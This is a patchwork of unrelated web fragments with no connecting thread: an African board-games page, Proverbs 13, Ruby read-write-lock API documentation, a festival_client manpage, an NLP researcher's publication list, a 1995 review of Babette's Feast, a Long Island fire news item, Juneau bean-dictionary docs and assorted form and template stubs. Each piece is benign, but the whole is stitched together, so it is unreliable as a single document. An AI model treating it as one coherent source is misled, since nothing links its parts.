ImagesExplore available imagesFilterSearch for images by adding a regular expression to filter for image name, element role or platform.Image TypeFilter image list by the selected image type.Image VersionFilter image list by the entered image versionShow candidate images onlyCheck this option to show candidate images only.Show release images onlyCheck this option to show release images only.Show all image typesCheck this option to search for all images types.Images


Welcome to Africa Games where you can play free Africa games online! Here we have a range of popular and traditional Africa games that are played across the continent of Africa by children and adults alike in flash format. We also explore more about Africa so young people can get a better understanding of the continent and what its like to live there.
Those popular and traditional African games are:
The name Mancala is a rough translation of the Arabic 'to move' which is exactly what's involved when playing the traditional African game of Mancala.
Ayo is played by two people, facing each other, over two rows of six pockets, or holes in the ground. Each player places four seeds or stones in each of their six pockets and the players then take turns of picking up all of the pieces from one of the pockets and dropping one of them into another pocket one by one.
Ayo Game is a board game play all over Africa and some parts of Asia, America and the Caribbean. Its is a strategy board game and and the rules are not uniform in all the countries where its played. The first version of this game developed by bonako is based on two forms of game play- Pia and Seca – that is popular in Cape Verde Islands.
Senet is believed to be one of the world's oldest board games and pictures of ancient Egyptians have been found playing it such as the one discovered in the tomb of Queen Nefertari, the queen of Ramesses II. Whilst the game has survived to the modern day, and has been recreated here in a flash format, the actual rules are unknown as, if they ever were written down, they have been lost in time.
Despite this, rules have emerged which reflect what those rules probably were. Essentially Senet is a board game where each player has five pieces on a ten by three piece board and the aim of the game is to remove all of your pieces off the board. After you play this Senet game why not check out and play our other Africa games or watch the video about how to play Senet below.


Add New Address * First Name: * Last Name: * Address: * Country: default default default * County / Province : * City / Town: * Zip / Postal Code: * Phone: Please leave correct and complete phone number for accurate delivery by postman Make this your default shipping address.


13
1 A wise son hears his father's instruction,
but a mocker will not listen to rebuke.
2 From the fruit of his mouth a person enjoys good things,
but the appetite of the treacherous is for violence.
3 The one who guards his mouth protects his life,
but the one who opens wide his lips will ruin himself.
4 The appetite of lazy people craves but gets nothing,
but the appetite of diligent people will be richly satisfied.
5 The one who does right hates lies,
but a wicked person makes himself repugnant, and he does what is shameful.
6 Righteousness protects those who are faultless in their path,
but wickedness turns away those who commit sin.
7 There is someone who enriches himself, but has nothing at all,
and there is someone who gives everything away, yet is truly wealthy.
8 A rich person may have to ransom his life with his possessions,
but a poor person will never receive that kind of threat.
9 The light of one who does right rejoices,
but the lamp of the wicked will be put out.
10 Pride only breeds conflict,
but for those who listen to good advice there is wisdom.
11 Wealth dwindles away when there is too much vanity,
but the one who makes money by working with his hand will make his money grow.
12 When hope is postponed, it breaks the heart,
but a longing fulfilled is a tree of life.
13 The one who scorns instruction will still be subject to it,
but the one who honors the command will be rewarded.
14 The teaching of a wise person is a fountain of life,
turning you away from the snares of death.
15 Good insight wins favor,
but the way of the treacherous is never-ending.
16 Prudent people act out of knowledge in every decision,
but a fool parades his folly.
17 A wicked messenger falls into trouble,
but a faithful envoy brings reconciliation.
18 The one who ignores discipline will have poverty and shame,
but honor will come to him who learns from correction.
19 A longing realized is sweet to the appetite,
but fools hate to turn away from evil.
20 Walk with wise people and you will be wise,
but the companion of fools will suffer harm.
21 Disaster runs after sinners,
but those who do right are rewarded with good.
22 A good person leaves an inheritance for his grandchildren,
but a sinner's wealth is stored up for the one who does right.
23 An unplowed field owned by the poor could produce much food,
but it is swept away by injustice.
24 The one who does not discipline his child hates him,
but one who loves his child is careful to discipline him.
25 The one who does right eats until he satisfies his appetite,
but the stomach of the wicked is always hungry.


I learned very early the difference between knowing the name of something and knowing something.
An Example Post
21 June 2020
Here is some extra detail about the post.


Reports ternary conditional operators of the form
x ? true : false
or similar, which can be trivially simplified.
Example:
foo() ? true : false
After the quick-fix is applied:
foo()


Class: Concurrent::ReentrantReadWriteLock
- Inherits:
-
Synchronization::Object
- Object
- Synchronization::Object
- Concurrent::ReentrantReadWriteLock
- Defined in:
- lib/concurrent/atomic/reentrant_read_write_lock.rb
Overview
Re-entrant read-write lock implementation
Allows any number of concurrent readers, but only one concurrent writer (And while the "write" lock is taken, no read locks can be obtained either. Hence, the write lock can also be called an "exclusive" lock.)
If another thread has taken a read lock, any thread which wants a write lock will block until all the readers release their locks. However, once a thread starts waiting to obtain a write lock, any additional readers that come along will also wait (so writers are not starved).
A thread can acquire both a read and write lock at the same time. A thread can also acquire a read lock OR a write lock more than once. Only when the read (or write) lock is released as many times as it was acquired, will the thread actually let it go, allowing other threads which might have been waiting to proceed. Therefore the lock can be upgraded by first acquiring read lock and then write lock and that the lock can be downgraded by first having both read and write lock a releasing just the write lock.
If both read and write locks are acquired by the same thread, it is not strictly necessary to release them in the same order they were acquired. In other words, the following code is legal:
This implementation was inspired by java.util.concurrent.ReentrantReadWriteLock
.
Instance Method Summary collapse
-
#acquire_read_lock ⇒ Boolean
Acquire a read lock.
-
#acquire_write_lock ⇒ Boolean
Acquire a write lock.
-
#initialize ⇒ ReentrantReadWriteLock
constructor
Create a new
ReentrantReadWriteLock
in the unlocked state. -
#release_read_lock ⇒ Boolean
Release a previously acquired read lock.
-
#release_write_lock ⇒ Boolean
Release a previously acquired write lock.
-
#try_read_lock ⇒ Boolean
Try to acquire a read lock and return true if we succeed.
-
#try_write_lock ⇒ Boolean
Try to acquire a write lock and return true if we succeed.
-
#with_read_lock { ... } ⇒ Object
Execute a block operation within a read lock.
-
#with_write_lock { ... } ⇒ Object
Execute a block operation within a write lock.
Constructor Details
#initialize ⇒ ReentrantReadWriteLock
Create a new ReentrantReadWriteLock
in the unlocked state.
107 108 109 110 111 112 113 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 107 def initialize super() @Counter = AtomicFixnum.new(0) # single integer which represents lock state @ReadQueue = Synchronization::Lock.new # used to queue waiting readers @WriteQueue = Synchronization::Lock.new # used to queue waiting writers @HeldCount = ThreadLocalVar.new(0) # indicates # of R & W locks held by this thread end |
Instance Method Details
#acquire_read_lock ⇒ Boolean
Acquire a read lock. If a write lock is held by another thread, will block until it is released.
160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 160 def acquire_read_lock if (held = @HeldCount.value) > 0 # If we already have a lock, there's no need to wait if held & READ_LOCK_MASK == 0 # But we do need to update the counter, if we were holding a write # lock but not a read lock @Counter.update { |c| c + 1 } end @HeldCount.value = held + 1 return true end while true c = @Counter.value raise ResourceLimitError.new('Too many reader threads') if max_readers?(c) # If a writer is waiting OR running when we first queue up, we need to wait if waiting_or_running_writer?(c) # Before going to sleep, check again with the ReadQueue mutex held @ReadQueue.synchronize do @ReadQueue.ns_wait if waiting_or_running_writer? end # Note: the above 'synchronize' block could have used #wait_until, # but that waits repeatedly in a loop, checking the wait condition # each time it wakes up (to protect against spurious wakeups) # But we are already in a loop, which is only broken when we successfully # acquire the lock! So we don't care about spurious wakeups, and would # rather not pay the extra overhead of using #wait_until # After a reader has waited once, they are allowed to "barge" ahead of waiting writers # But if a writer is *running*, the reader still needs to wait (naturally) while true c = @Counter.value if running_writer?(c) @ReadQueue.synchronize do @ReadQueue.ns_wait if running_writer? end elsif @Counter.compare_and_set(c, c+1) @HeldCount.value = held + 1 return true end end elsif @Counter.compare_and_set(c, c+1) @HeldCount.value = held + 1 return true end end end |
#acquire_write_lock ⇒ Boolean
Acquire a write lock. Will block and wait for all active readers and writers.
255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 255 def acquire_write_lock if (held = @HeldCount.value) >= WRITE_LOCK_HELD # if we already have a write (exclusive) lock, there's no need to wait @HeldCount.value = held + WRITE_LOCK_HELD return true end while true c = @Counter.value raise ResourceLimitError.new('Too many writer threads') if max_writers?(c) # To go ahead and take the lock without waiting, there must be no writer # running right now, AND no writers who came before us still waiting to # acquire the lock # Additionally, if any read locks have been taken, we must hold all of them if c == held # If we successfully swap the RUNNING_WRITER bit on, then we can go ahead if @Counter.compare_and_set(c, c+RUNNING_WRITER) @HeldCount.value = held + WRITE_LOCK_HELD return true end elsif @Counter.compare_and_set(c, c+WAITING_WRITER) while true # Now we have successfully incremented, so no more readers will be able to increment # (they will wait instead) # However, readers OR writers could decrement right here @WriteQueue.synchronize do # So we have to do another check inside the synchronized section # If a writer OR another reader is running, then go to sleep c = @Counter.value @WriteQueue.ns_wait if running_writer?(c) || running_readers(c) != held end # Note: if you are thinking of replacing the above 'synchronize' block # with #wait_until, read the comment in #acquire_read_lock first! # We just came out of a wait # If we successfully turn the RUNNING_WRITER bit on with an atomic swap, # then we are OK to stop waiting and go ahead # Otherwise go back and wait again c = @Counter.value if !running_writer?(c) && running_readers(c) == held && @Counter.compare_and_set(c, c+RUNNING_WRITER-WAITING_WRITER) @HeldCount.value = held + WRITE_LOCK_HELD return true end end end end end |
#release_read_lock ⇒ Boolean
Release a previously acquired read lock.
234 235 236 237 238 239 240 241 242 243 244 245 246 247 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 234 def release_read_lock held = @HeldCount.value = @HeldCount.value - 1 rlocks_held = held & READ_LOCK_MASK if rlocks_held == 0 c = @Counter.update { |counter| counter - 1 } # If one or more writers were waiting, and we were the last reader, wake a writer up if waiting_or_running_writer?(c) && running_readers(c) == 0 @WriteQueue.signal end elsif rlocks_held == READ_LOCK_MASK raise IllegalOperationError, "Cannot release a read lock which is not held" end true end |
#release_write_lock ⇒ Boolean
Release a previously acquired write lock.
329 330 331 332 333 334 335 336 337 338 339 340 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 329 def release_write_lock held = @HeldCount.value = @HeldCount.value - WRITE_LOCK_HELD wlocks_held = held & WRITE_LOCK_MASK if wlocks_held == 0 c = @Counter.update { |counter| counter - RUNNING_WRITER } @ReadQueue.broadcast @WriteQueue.signal if waiting_writers(c) > 0 elsif wlocks_held == WRITE_LOCK_MASK raise IllegalOperationError, "Cannot release a write lock which is not held" end true end |
#try_read_lock ⇒ Boolean
Try to acquire a read lock and return true if we succeed. If it cannot be acquired immediately, return false.
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# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 213 def try_read_lock if (held = @HeldCount.value) > 0 if held & READ_LOCK_MASK == 0 # If we hold a write lock, but not a read lock... @Counter.update { |c| c + 1 } end @HeldCount.value = held + 1 return true else c = @Counter.value if !waiting_or_running_writer?(c) && @Counter.compare_and_set(c, c+1) @HeldCount.value = held + 1 return true end end false end |
#try_write_lock ⇒ Boolean
Try to acquire a write lock and return true if we succeed. If it cannot be acquired immediately, return false.
310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 310 def try_write_lock if (held = @HeldCount.value) >= WRITE_LOCK_HELD @HeldCount.value = held + WRITE_LOCK_HELD return true else c = @Counter.value if !waiting_or_running_writer?(c) && running_readers(c) == held && @Counter.compare_and_set(c, c+RUNNING_WRITER) @HeldCount.value = held + WRITE_LOCK_HELD return true end end false end |
#with_read_lock { ... } ⇒ Object
Execute a block operation within a read lock.
124 125 126 127 128 129 130 131 132 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 124 def with_read_lock raise ArgumentError.new('no block given') unless block_given? acquire_read_lock begin yield ensure release_read_lock end end |
#with_write_lock { ... } ⇒ Object
Execute a block operation within a write lock.
143 144 145 146 147 148 149 150 151 |
# File 'lib/concurrent/atomic/reentrant_read_write_lock.rb', line 143 def with_write_lock raise ArgumentError.new('no block given') unless block_given? acquire_write_lock begin yield ensure release_write_lock end end |


omp4j
so cool
Why to choose omp4j
instead of some similar project? What does omp4j
excel in?
Keep reading and learn everything important about the advantages of our preprocessor.
omp4j
runs on all commonly used JVMs. We developed the preprocessor in order to run everywhere.
Try any of the following JDKS which have been tested. Does omp4j
run on some other? Let us know!
Compile your code - pack a JAR - deploy. The preprocessed code does not require any installed library. It will run on servers, desktops, mobile phones and tables. Maybe even on your washing machine!
Use lambdas and other cool Java 8 constructs as you will. No limitations. However, keep in mind that we use ANTLR JAVA 8 grammar for code parsing and it might be buggy.
Do you have independent tasks? Enjoy almost linear speedup up to 24 cores. Do you have even more cores machine? Great! Get significantly better speedup than related projects (e.g. JOMP) or almost the same as the original C++ OpenMP. Your only enemy remains Amdahl's law.
The following chart suggests omp4j
in comparison with JOMP
.
Replace regular javac
with omp4j
in your IDE. Since omp4j
accepts
the same options as javac
, everything will work. Your IDE even doesn't need to know that you
use omp4j
.
Employ omp4j
as a library from your Java/Scala project. It is easy! This webpage runs entirely
on Scala and the demo is supported via the omp4j
API.
omp4j
is open-source and for free. And it always will be. Use it for commercial projects if you
will. No restrictions.
omp4j
is released under benevolent
BSD license with all
sources hosted on GitHub from whence you may
download all sources.
The whole project was developed as a bachelor thesis by Petr Bělohlávek (in 2015) who was led by his patient supervisor Antonín Steinhauser.


Create a new topic metadata cache.
The directory for persisted cache state.
Does the cache currently have an open project?
Is the cache currently populated?
The cache's underlying DocFX project.
The current project directory (if any).
The current project file (if any).
An observer for ongoing changes to topic metadata.
The number of topics in the cache.
Close the current DocFX project (if any).
Ensure that the cache is populated.
An optional observer used to report progress.
true, if the cache was successfully populated; otherwise, false.
Flush the metadata cache.
Also clear any state data persisted in workspace state?
Get the metadata for the topic (if any) associated with the specified UID.
The target UID.
The metadata, or null if no topic was found with the specified Id.
Get metadata for some or all of the topics in the cache.
If specified, only topics whose UID start with the specified prefix will be returned.
The topic metadata.
Open a DocFX project.
The DocFX project file.
Persist the metadata cache state.
Generated using TypeDoc
Cache for topic metadata.


| GEO
27
|
A public functional genomics data repository, provided by NCBI. |
https://www.ncbi.nlm.nih.gov/geo/
|
| ArrayExpress
28
|
A public database that stores data from high-throughput functional genomics experiments, provided by EMBL-EBI. |
https://www.ebi.ac.uk/arrayexpress/
|
| ParkDB
29
|
A complete set of reanalyzed, curated and annotated microarray datasets of Parkinson’s disease. |
http://www2.cancer.ucl.ac.uk/Parkinson_Db2/
|


FESTIVAL(1) FESTIVAL(1) NAME festival_client - client access to festiva; text-to-speech server mode SYNOPSIS festival_client [options] [file0] [file1] ... DESCRIPTION Allows sending commands and/or test to a festival test-to-speech server. Festival may be started in server mode using the option --server festival-client allows waveforms to be generated faster as not time is required for start up. See the festival manual for more details on rec‐ ommended use. OPTIONS --server <string> hostname (or IP number) of server --port <int> {1314} port number of server process (1314) --output <string> file to save output waveform to --otype <string> {riff} output type for waveform --passwd <string> server passwd in plain text (optional) --prolog <string> filename containing commands to be sent to the server before standard commands (useful when using --ttw) --async Asynchronous mode, server may send back multiple waveforms per text file --ttw Text to waveform: take text from first arg or stdin get server to return waveform(s) stored in output or operated on by aucommand. --withlisp Output lisp replies from server. --tts_mode <string> TTS mode for file (default is fundamental). --aucommand <string> command to be applied to each waveform retruned from server. Use $FILE in string to refer to waveform file BUGS This still isn't as general as it should be. It seems to require lots of special little options which suggests the general options aren't right. AUTHOR Alan W Black and Paul Taylor (C) Centre for Speech Technology Research University of Edinburgh 80 South Bridge Edinburgh EH1 1HN http://www.cstr.ed.ac.uk/projects/festival.html 1st Aug 1997 FESTIVAL(1)


--- layout: post date: 2012-09-04 time: "09:00:00" authors: ["Greg Wilson"] title: Final Results of Demographic Survey tags: ["Community"] ---
192 people have now responded to the demographic survey we reported two weeks ago. Results are shown below; I'll hold off posting breakdown by discipline until I find a better (standard) classification scheme. Long story short, you are grad students, age 25-35, 28% female, with no clear preference for Linux, Mac OS X, or Windows. No idea what kind of music you listen to, though, or where you stand on the crucial "cave men versus astronauts" question—we'll include those in next year's survey.
Age
Gender
Career Stage
Preferred Computing Platform


MyPath is dedicated to helping young adults with financial planning. It is a personal project that I'm building during my free time. I built the front-end using React/Redux and the RESTful API using Java, the Spring Framework, and PostgreSQL. I'm currently working on adding a "Compare" feature so users can compare different paths.
ExploreMood Bloom is a Progressive Web App that helps users track, visualize and improve their mood. I created this app during an eight week period along with six other software engineers and two UI/UX designers. I helped implement the PWA functionality and integration with OAuth. We utilized React, Node.js, GraphQL, and OAuth.
ExploreThis is a personal project that I developed during my free time. It is a Progressive Web App that allows users to view a variety of NBA statistics. The stats update nightly and they are presented in a clean and simple manner. The user is able to save the app to their home screen and use it as a native desktop and mobile app. I used the API from theseventhman.net.
ExploreThis application was built to help educators find high-quality textbooks. I built the Web API for this app using Java and the Spring Framework. I implemented authentication using OAuth2, migrated the database to PostgreSQL, and included automated unit tests. I worked with two other team members and we completed the project in four days.
Explore


Submit your Big Picture papers!
Submit your Big Picture papers!
I am a postdoctoral researcher (and Young Investigator) on the AllenNLP team at AI2, and the University of Washington, and a Rothschild Fellow. Before joining AI2 and UW, I did my PhD (2022) in Computer Science in the NLP lab at Bar-Ilan University, where I was lucky to be a Google PhD Fellow.
I am broadly interested in Natural Language Processing (NLP) and Machine Learning (ML). In particular, I am interested in understanding what makes models work, how they work, and why. These days I am focusing on the data such models are trained on. Moreover, I'm interested in Causal Inference (CI) and integrating ideas from CI into NLP.
I'm happy to talk about research in general, and my own work in particular. If you have any questions about one of my papers, or my overall research, feel free to reach out!
The Bias Amplification Paradox in Text-to-Image Generation
Preethi Seshadri, Sameer Singh, Yanai Elazar
arxiv
paper
bibtex
code
Estimating the Causal Effect of Early ArXiving on Paper Acceptance
*Yanai Elazar, *Jiayao Zhang, *David Wadden, Bo Zhang, Noah A. Smith
arxiv
paper
bibtex
code
Few-shot Fine-tuning vs. In-context Learning: A Fair Comparison and Evaluation
Marius Mosbach, Tiago Pimentel, Shauli Ravfogel, Dietrich Klakow, Yanai Elazar
Findings of ACL 2023
paper
bibtex
long
code
CIKQA: Learning Commonsense Inference with a Unified Knowledge-in-the-loop QA Paradigm
Hongming Zhang, Yintong Huo, Yanai Elazar, Yangqiu Song, Yoav Goldberg, Dan Roth
Findings of EACL 2023
paper
bibtex
long
code
Lexical Generalization Improves with Larger Models and Longer Training
Elron Bandel, Yoav Goldberg, Yanai Elazar
Findings of EMNLP 2022
paper
bibtex
short
code
State-of-the-art generalisation research in NLP: a taxonomy and review
Dieuwke Hupkes, Mario Giulianelli, Verna Dankers, Mikel Artetxe, Yanai Elazar, Tiago Pimentel, Christos Christodoulopoulos, Karim Lasri, Naomi Saphra, Arabella Sinclair, Dennis Ulmer, Florian Schottmann, Khuyagbaatar Batsuren, Kaiser Sun, Koustuv Sinha, Leila Khalatbari, Rita Frieske, Ryan Cotterell, Zhijing Jin
arxiv
paper
bibtex
project-page
Measuring Causal Effects of Data Statistics on Language Model's `Factual' Predictions
Yanai Elazar, Nora Kassner, Shauli Ravfogel, Amir Feder, Abhilasha Ravichander, Marius Mosbach, Yonatan Belinkov, Hinrich Schütze, Yoav Goldberg
arxiv
paper
bibtex
models
Text-based NP Enrichment
*Yanai Elazar, *Victoria Basmov, Yoav Goldberg, Reut Tsarfaty
TACL 2022
paper
bibtex
code
resource
demo
project-page
video
Revisiting Few-shot Relation Classification: Evaluation Data and Classification Schemes
Ofer Sabo, Yanai Elazar, Yoav Goldberg, Ido Dagan
TACL 2021
paper
bibtex
journal
code
video
Back to Square One: Bias Detection, Training and Commonsense Disentanglement in the Winograd Schema
Yanai Elazar, Hongming Zhang, Yoav Goldberg, Dan Roth
EMNLP 2021
paper
bibtex
long
code
video
Contrastive Explanations for Model Interpretability
Alon Jacovi, Swabha Swayamdipta, Shauli Ravfogel, Yanai Elazar, Yejin Choi, Yoav Goldberg
EMNLP 2021
paper
bibtex
long
code
video
Measuring and Improving Consistency in Pretrained Language Models
Yanai Elazar, Nora Kassner, Shauli Ravfogel, Abhilasha Ravichander, Eduard Hovy, Hinrich Schütze, Yoav Goldberg
TACL 2021
paper
bibtex
journal
code
resource
video
First Align, then Predict: Understanding the Cross-Lingual Ability of Multilingual BERT
Benjamin Muller, Yanai Elazar, Benoît Sagot and Djamé Seddah
EACL 2021
paper
bibtex
short
code
*Amnesic Probing: Behavioral Explanation with Amnesic Counterfactuals
Yanai Elazar, Shauli Ravfogel, Alon Jacovi, Yoav Goldberg
TACL 2021
(*) previous version that appeared on arxiv was named: "When Bert Forgets How To POS: Amnesic Probing of Linguistic Properties and MLM Predictions",
which we changed to the current title to better reflect our contributions.
paper
bibtex
journal
code
video
It’s not Greek to mBERT: Inducing Word-Level Translations from Multilingual BERT
Hila Gonen, Shauli Ravfogel, Yanai Elazar, Yoav Goldberg
Third BlackboxNLP Workshop on Analyzing and Interpreting Neural Networks for NLP, at EMNLP 2020
paper
bibtex
long
code
The Extraordinary Failure of Complement Coercion Crowdsourcing
Yanai Elazar, Victoria Basmov, Shauli Ravfogel, Yoav Goldberg, Reut Tsarfaty
Workshop on Insights from Negative Results in NLP, EMNLP 2020
paper
bibtex
short
video
Do Language Embeddings Capture Scales?
Xikun Zhang, Deepak Ramachandran, Ian Tenney, Yanai Elazar, Dan Roth
Findings of EMNLP 2020
paper
bibtex
long
code
Unsupervised Distillation of Syntactic Information from Contextualized Word Representations
*Shauli Ravfogel, *Yanai Elazar, Jacob Goldberger, Yoav Goldberg
Third BlackboxNLP Workshop on Analyzing and Interpreting Neural Networks for NLP, at EMNLP 2020
paper
bibtex
long
code
Null It Out: Guarding Protected Attributes by Iterative Nullspace Projection
Shauli Ravfogel, Yanai Elazar, Hila Gonen, Michael Twiton, Yoav Goldberg
ACL 2020
paper
bibtex
long
code
video
Evaluating Models' Local Decision Boundaries via Contrast Sets
Matt Gardner, Yoav Artzi, Victoria Basmova, Jonathan Berant, Ben Bogin, Sihao Chen, Pradeep Dasigi, Dheeru Dua, Yanai Elazar, Ananth Gottumukkala, Nitish Gupta, Hanna Hajishirzi, Gabriel Ilharco, Daniel Khashabi, Kevin Lin, Jiangming Liu, Nelson F Liu, Phoebe Mulcaire, Qiang Ning, Sameer Singh, Noah A Smith, Sanjay Subramanian, Reut Tsarfaty, Eric Wallace, Ally Zhang, Ben Zhou
Findings of EMNLP 2020
paper
bibtex
long
resource
oLMpics -- On what Language Model Pre-training Captures
Alon Talmor, Yanai Elazar, Yoav Goldberg, Jonathan Berant
TACL 2020 (presented at EMNLP 2020)
paper
bibtex
journal
code
video
Adversarial Removal of Demographic Attributes Revisited
Maria Barrett, Yova Kementchedjhieva, Yanai Elazar, Desmond Elliott, Anders Søgaard
EMNLP 2019
paper
bibtex
short
How Large Are Lions? Inducing Distributions over Quantitative Attributes
Yanai Elazar, Abhijit Mahabal, Deepak Ramachandran, Tania Bedrax-Weiss, Dan Roth
ACL 2019
paper
bibtex
long
code
resource
demo
Where's My Head? Definition, Dataset and Models for Numeric Fused-Heads Identification and Resolution
Yanai Elazar, Yoav Goldberg
TACL 2019 (presented at EMNLP 2019)
paper
bibtex
journal
code
resource
demo
video
Privacy and Fairness in Recommender Systems via Adversarial Training of User Representations
Yehezkel S. Resheff, Yanai Elazar, Moni Shahar, Oren Sar Shalom
ICPRAM 2019
paper
bibtex
long
Adversarial Removal of Demographic Attributes from Text Data
Yanai Elazar, Yoav Goldberg
EMNLP 2018
paper
bibtex
long
code
video
Behind the scences of the interviewing process
My strategy for attending my first virtual conference.
How to setup your environment to seemingly work with remote servers.


BABETTE'S FEAST A film review by Lons Ponschock Copyright 1995 Lons Ponschock
A film by Gabriel Axel >From a book by Isak Dinesen Rated G for General Audiences
"Babette says dinner is served."
I eat a lot of junk food. It's part of my current lifestyle. But I've also experienced fine dining and know the joys of it.
BABETTE'S FEAST was the Academy award winner for Best Foreign Film in 1987. It's in Danish and French with subtitles. The only reason I noticed this on the shelf is due to a reference I saw to it on Usenet in a discussion on the currently released Spanish film called LIKE WATER FOR CHOCOLATE.
If you can get past the pieties in the picture (and there are many) you will find that kernel of excellence which makes its 110 minutes all worthwhile. Like the truffle and goose pate' wrapped in a roasted quail, it is a hidden treasure.
In a village in Jutland, Denmark two sisters live with their ministerial father, hence the piety often expressed throughout the film which takes place mostly in 1871. It was a time in which, as the narrator says, "Piety was much in fashion." The sisters befriend a French woman who has escaped the atrocities of her own country. What the sisters don't know is that Babette is one of the premier chefs of Paris.
After fourteen years of service, Babette wins a lottery prize. She then requests to prepare the dinner which will celebrate the memorial to the minister, long deceased.
The film is constructed almost like a meal itself with an appetizer being the love stories of the sisters as young women, the main course and catalyst which is Babette and the resolution which is the dinner itself.
Twelve of the locals who are part of the congregation are invited to this dinner. They are used to dining on such things as something called ale bread: bread soaked in water and a bit of beer then cooked into a gruel. Boy, are *they* in for a surprise. :-)
"...This woman, this head chef had the ability to transform a dinner into a kind of love affair... a love affair that made no distinction between bodily appetite and spiritual appetite."
Babette, you see, is a great artist. And like any artist she takes this opportunity to do her work. I was reminded in an incongruous manner of another film during BABETTE:
In THE HUSTLER starring Paul Newman from a book by Robert Rosen, the billiard shark Fast Eddie Felsen has fallen on hard times. He's hustling pool in dives on skid row. As he is trolling for fish, he lets his opponent win a few games. The opponent ups the stakes and says just enough about 'luck' to The Hustler to bring out the artist in him. Fast Eddie then delivers one of the great speeches in the film. He tells this skid row joker in effect, 'You know the game. Here's what it's like when it's *great*,' and clears the table of nineball on the break shot.
BABETTE'S FEAST is like that.
I'm sure that they said 'Husker Du' at least once during the film. ;-)
-- lon
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
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Related links: index of all rec.arts.movies.reviews reviews


2 deadly fires in 3 days 1 mile apart in Long Island town
by Candace McCowanBAYVILLE, Nassau County (WABC) -- Officials in one Long Island town are investigating two deadly fires in three days.
In the most recent incident, fire tore through the home on Bayville Avenue in Bayville, and officials discovered a person and two dogs dead inside.
It happened around 2 p.m. Wednesday.
Investigators scoured the scene for hours, working with the fire marshal and homicide detectives to determine the unidentified person's cause of death.
The home is now boarded up.
Earlier this week, about a mile away, 94-year-old Sonia Baron was killed in a house fire on Bayville Park Avenue.
A man was outside the home yelling for crews to help his wheelchair bound wife, but it was too late.
He was rushed to the hospital in critical condition.
Fire officials are still trying to determine the cause of both fires, and the medical examiner is still working to identify the body found Wednesday.


The links would be displayed in an interactively 3D fashion, but you have JavaScript disabled. Maybe that's for the best if you want a normal website-like viewing experience.
Arrow keys or swipe around to look, WASD to move, click on icon to visit


{% extends 'shop/base2.html' %}
{% load static %}
{% block title %}
Your Shopping Cart| Checkout
{% endblock %}
{% block content %}
Divide details about your product or agency work into parts. Write a few lines about each one. A paragraph describing a feature will be enough.
Divide details about your product or agency work into parts. Write a few lines about each one. A paragraph describing a feature will be enough.
Divide details about your product or agency work into parts. Write a few lines about each one. A paragraph describing a feature will be enough.


Comfy Noms
Menu for Tomorrow
Planner
My Dishes
Order History
Profile
Contact Us
Menu for Tomorrow
The menu for tomorrow has been set. The driver will be there at 1 PM.


Ryan is a first year student at the University of Waterloo, studing Nanotechnology Engineering, and he is interested in machine learning, quantum computing, as well as hackathons.
Currently, I am interested in finding a co-op or internship postion for summer 2019, or to connect with anyone in the Nanotechnology/Hackathon Space.


Trump relies on statements from Russia to continue denying allegations of connections between himself and Russia made in a dossier compiled by a former British spy.


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While parsing into beans, Juneau attempts to determine the class types of bean properties through
reflection on the bean property getter or setter.
Often this is insufficient if the property type is an interface or abstract class that cannot be
instantiated.
This is where bean names and dictionaries come into play.
Bean names and dictionaries are used for identifying class types when they cannot be inferred through
reflection.
Bean classes are given names through the {@link oaj.annotation.Bean#typeName() @Bean(typeName)}
annotation.
These names are then added to the serialized output as virtual "_type" properties (or element
names in XML).
On the parsing side, these type names are resolved to classes through the use of bean dictionaries.
For example, if a bean property is of type Object, then the serializer will add
"_type" attributes so that the class can be determined during parsing.
| @Bean(typeName="foo")
| public class Foo {
| // A bean property where the object types cannot be inferred since it's an Object[].
| @Beanp(dictionary={Bar.class,Baz.class})
| public Object[] x = new Object[]{new Bar(), new Baz()};
| }
|
| @Bean(typeName="bar")
| public class Bar {}
|
| @Bean(typeName="baz")
| public class Baz {}
When serialized as JSON, "_type" attributes would be added when needed to infer the type during
parsing:
| {
| x: [
| {_type:'bar'},
| {_type:'baz'}
| ]
| }
Type names can be represented slightly differently in different languages.
For example, the dictionary name is used as element names when serialized to XML.
This allows the typeName annotation to be used as a shortcut for defining element names for
beans.
When serialized as XML, the bean is rendered as:
| <foo>
| <x>
| <bar/>
| <baz/>
| </x>
| </foo>
Bean dictionaries are registered through the following:
- {@link oaj.annotation.Beanp}
- {@link oaj.annotation.Beanp#dictionary() dictionary}
- {@link oaj.annotation.Bean}
- {@link oaj.annotation.Bean#dictionary() dictionary}
- {@link oaj.BeanContext.Builder}
- {@link oaj.BeanContext.Builder#beanDictionary(Class...) beanDictionary(Class...)}
The bean dictionary setting can consist of any of the following types:
- Any bean class that specifies a value for {@link oaj.annotation.Bean#typeName() @Bean(typeName)}.
- Any subclass of {@link oaj.BeanDictionaryList} containing a collection of bean classes with type name annotations.
- Any subclass of {@link oaj.BeanDictionaryMap} containing a mapping of type names to classes without type name annotations.
- Any array or collection of the objects above.
| // Create a parser and tell it which classes to try to resolve.
| ReaderParser parser = JsonParser
| .create()
| .dictionary(Foo.class, Bar.class)
| .build();
|
| // Use the predefined HTML5 bean dictionary which is a BeanDictionaryList.
| ReaderParser parser = HtmlParser
| .create()
| .dictionary(HtmlBeanDictionary.class)
| .build();
The "_type" property name can be overridden through the following:
- {@link oaj.annotation.Bean}
- {@link oaj.annotation.Bean#typePropertyName() typePropertyName}
- {@link oaj.BeanContext.Builder}
- {@link oaj.BeanContext.Builder#typePropertyName(String) typePropertyName(String)}
